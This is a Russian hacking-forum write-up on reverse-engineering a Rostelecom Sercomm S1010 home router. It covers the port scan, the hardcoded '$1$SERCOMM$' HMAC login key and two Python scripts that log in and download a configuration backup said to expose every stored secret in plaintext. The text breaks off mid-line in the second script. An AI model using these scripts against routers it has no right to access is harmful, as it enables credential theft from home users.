[spoiler=Вторая часть;align=center][UNFURL]https://lolz.team/threads/10313282/[/UNFURL] [/spoiler] [CENTER] [SIZE=4]Всем привет :colobok_hi: [/SIZE] [SIZE=4]Сегодня я расскажу, как я зареверсил свой роутер от Ростелекома Sercomm S1010. ДА, я вкурсе, что в интернете про реверс этого роутера есть много статей, но они в основном поверхностные. Я решил сделать все сам и показать что реально можно найти в устройстве, которое стоит у миллионов людей в квартирах[/SIZE][/CENTER] [spoiler=Обозначения цветов на скриншотах;align=center][CENTER][SIZE=4]Чтобы вы понимали что я выделяю на скринах:[/SIZE][/CENTER] [CENTER][COLOR=rgb(184, 49, 47)]Красным - Самое главное: пароли, креды, уязвимости, результаты эксплуатации[/COLOR] [COLOR=rgb(250, 197, 28)]Желтым - второе: логины, URL, версии, служебные данные[/COLOR] [COLOR=rgb(41, 105, 176)]Синим - детали: захардкоженные строки, флаги шифрования, подписи[/COLOR][/CENTER][/spoiler] [spoiler=Часть 1: Что это за железо и как я к нему подобрался;align=center][CENTER][SIZE=4]Начну с того, что за устройство и как я его нашел в сети[/SIZE][/CENTER] [spoiler=1. Идентификация устройства;align=left][CENTER][SIZE=4]Первым делом я подключился к роутеру и посмотрел что он из себя представляет[/SIZE] [SIZE=4]Идентифицировать устройство можно благодаря MAC адресу и через UPnP описанию:[/SIZE] [IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/c5bb38c2-6082-4aa0-8d9c-b593a54fbdf9.webp[/IMG] Итог: за [SIZE=4]брендом Ростелекома скрывается Sercomm S1010. Желтым обведен вендор DWnet, красным - производитель и модель[/SIZE][/CENTER][/spoiler] [spoiler=2. Открытые порты и отфильтрованные сервисы;align=left][CENTER][SIZE=4]Вот что показало сканирование портов. Желтым обведены закрытые файрволом порты ([tooltip=537]SSH[/tooltip] и Telnet), красным - которые наружу (7547 TR-069 и 49152 UPnP). Синим подчеркнут MAC устройства[/SIZE] [IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/e0bc8033-3e36-4b94-82e0-13b25aadedf8.webp[/IMG][/CENTER][/spoiler][/spoiler] [spoiler=Часть 2: Веб-интерфейс и вход;align=center][CENTER][SIZE=4]Тут начинается самое интересное. Веб роутера [tooltip=611]самописный[/tooltip], с багами[/SIZE][/CENTER] [spoiler=3. Слишком хрупкий веб-интерфейс;align=left][CENTER][SIZE=4]Если отправить [tooltip=529]запрос[/tooltip] без браузерных заголовков, сервер отвечает мусором[/SIZE] [IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/d03dfb19-bf4b-4ded-af8a-6cab93ced7a5.webp[/IMG] [SIZE=4]Красным обведен [tooltip=583]баг[/tooltip] (null) 400 Bad Request статус начинается с полного мусора. Желтым - заголовок Prama, эт опечатка Pragma. Синим подчеркнут пустой Server:, тоесть сервер не представляется. Все это признаки старого самописного движка[/SIZE][/CENTER][/spoiler] [spoiler=4. Схема входа и захардкоженный ключ;align=left][CENTER][SIZE=4]Схема входа в JS использует HMAC-SHA256 с ключом $1$SERCOMM$, который захардкожен для всех. Авторизация - challenge-response, но эт никак не спасает. Я сделал логин на [tooltip=894]пайтон[/tooltip] и вошел[/SIZE] [IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/7d64698a-5406-4205-bd53-28e2237ebb71.webp[/IMG][/CENTER] [CENTER][SIZE=4]Красным обведены csrf_token и encryption_key - без них логин не сделать. Желтым успешный ответ login response: "1". Синим подчеркнут session_id, эт [tooltip=154]куки[/tooltip] сессии[/SIZE][/CENTER] [CENTER][SIZE=4]Вот код который я написал для автоматизации входа:[/SIZE][/CENTER] [CODE=python]#!/usr/bin/env python3 import re, sys, hmac, hashlib, http.cookiejar, urllib.request, urllib.parse, os HOST = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' USER = sys.argv[2] if len(sys.argv) > 2 else 'admin' PASS = sys.argv[3] if len(sys.argv) > 3 else '***' BASE = f'http://{HOST}' ARTIFACTS = '/root/router/artifacts' os.makedirs(ARTIFACTS, exist_ok=True) cj = http.cookiejar.CookieJar() op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) UA = ('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' '(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36') HDRS = { 'User-Agent': UA, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.9', 'Accept-Encoding': 'identity', 'Connection': 'close', } def save(name, content): path = os.path.join(ARTIFACTS, name) with open(path, 'w', encoding='utf-8', errors='replace') as f: f.write(content) print(f'[+] saved {name}') def get(url, save_as=None): r = op.open(urllib.request.Request(url, headers=HDRS), timeout=10) content = r.read().decode('latin1') if save_as: save(save_as, content) return content def post(url, data, save_as=None): h = dict(HDRS) h['Content-Type'] = 'application/x-www-form-urlencoded' req = urllib.request.Request(url, data=data.encode(), headers=h) r = op.open(req, timeout=10) content = r.read().decode('latin1') if save_as: save(save_as, content) return content html = get(f'{BASE}/login.html', save_as='login.html') m = re.search(r"csrf_token = '([^']+)'", html) csrf = m.group(1) print(f'[+] csrf_token = {csrf}') j = get(f'{BASE}/data/user_lang.json?csrf_token={csrf}', save_as='user_lang.json') enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1) print(f'[+] encryption_key = {enc}') h1 = hmac.new(b'$1$SERCOMM$', PASS.encode('utf-8'), hashlib.sha256).hexdigest() pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest() uname = urllib.parse.quote(urllib.parse.quote(USER, safe=''), safe='') body = f'LoginName={uname}&LoginPWD={pwd}' print(f'[+] hash1 = {h1}') print(f'[+] LoginPWD = {pwd}') url = f'{BASE}/data/login.json?_={urllib.parse.quote("0.0")}&csrf_token={csrf}' resp = post(url, body, save_as='login_response.txt') print(f'[+] login response: {resp!r}') print('[+] cookies:', [(c.name, c.value) for c in cj])[/CODE] [CENTER] [SIZE=4]Что делает скрипт:[/SIZE] [/CENTER] 1. Скачивает с роутера login.html (GET /login.html), сохраняет его в папку artifacts и вытаскивает из него csrf_token 2. Скачивает с роутера user_lang.json (GET /data/user_lang.json), сохраняет в artifacts и получает encryption_key 3. Считает первый HMAC: hash1[B] =[/B] HMAC_SHA256('$1$SERCOMM$', password) - ключ захардкожен в JS 4. Считает второй HMAC: LoginPWD = HMAC_SHA256(encryption_key, hash1) - итоговый пароль для отправки 5. Логинится на роутер через POST /data/login.json с посчитанным LoginPWD 6. Получает ответ [B]"1"[/B] и куку session_id [CENTER] [SIZE=4][tooltip=926]Скрипт[/tooltip] принимает три аргумента: [tooltip=415]хост[/tooltip], логин, пароль. Если не указать - то будет брать дефолтные значения. Все [tooltip=529]запросы[/tooltip] сохраняются в папку /root/router/artifacts/ для дальнейшего анализа[/SIZE][/CENTER][/spoiler][/spoiler] [spoiler=Часть 3: Главная находка - слив всех паролей;align=center][CENTER][SIZE=4]А теперь то, ради чего все делалось[/SIZE][/CENTER] [spoiler=5. Конфиг бэкапа отдает все секреты;align=left][CENTER][SIZE=4]В JS нашелся флоу бэкапа. Сначала POST, потом скачивание. Файл начинается с 4-байтного префикса и zlib-потока. После распаковки - 27399 байт XML с полным TR-069 DataModel. И там все секреты в открытом виде[/SIZE] [IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/96045716-ba02-4f5a-96d5-c61b68f59263.webp[/IMG] [SIZE=4]Чтобы автоматизировать этот процесс от логина до слива секретов, я написал [tooltip=926]скрипт[/tooltip] на пайтон:[/SIZE][/CENTER] [CODE=python]#!/usr/bin/env python3 import re, hmac, hashlib, http.cookiejar, urllib.request, time, zlib, struct BASE = 'http://192.168.0.1' USER = 'admin' PASS = '***' UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36' H = { 'User-Agent': UA, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.9', 'Accept-Encoding': 'identity', 'Connection': 'close', } cj = http.cookiejar.CookieJar() op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) # 1. login.html -> csrf h = op.open(urllib.request.Request(BASE + '/login.html', headers=H)).read().decode('latin1') csrf = re.search(r"csrf_token = '([^']+)'", h).group(1) print('csrf_token =', csrf) # 2. encryption_key j = op.open(urllib.request.Request( BASE + f'/data/user_lang.json?csrf_token={csrf}', headers={**H, 'Referer': BASE + '/login.html'} )).read().decode() enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1) print('encryption_key =', enc) # 3. Loginpwd h1 = hmac.new(b'$1$SERCOMM$', PASS.encode(), hashlib.sha256).hexdigest() pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest() print('LoginPWD =', pwd) # 4. login body = f'LoginName={USER}&LoginPWD={pwd}'.encode() req = urllib.request.Request( BASE + f'/data/login.json?csrf_token={csrf}', data=body, headers={**H, 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': BASE + '/login.html'} ) r = op.open(req).read() print('login response =', r) # 5. используем тот же csrf, что и при логине print('using same csrf_token =', csrf) # 6. post для бэкапа ts = int(time.time() * 1000) body = b'ConfigurationSaveType=user_computer' req = urllib.request.Request( BASE + f'/data/settings_configuration.json?_={ts}&csrf_token={csrf}', data=body, headers={**H, 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': BASE + '/settings_configuration.html'} ) r = op.open(req).read() print('POST response =', r) # 7. get скачивание ts = int(time.time() * 1000) req = urllib.request.Request( BASE + f'/settings_page/configurationBackup.cfg?_={ts}&csrf_token={csrf}', headers={**H, 'Referer': BASE + '/settings_configuration.html'} ) r = op.open(req).read() print('downloaded bytes =', len(r)) open('configurationBackup.cfg', 'wb').write(r) # 8. распоковка declared = struct.unpack('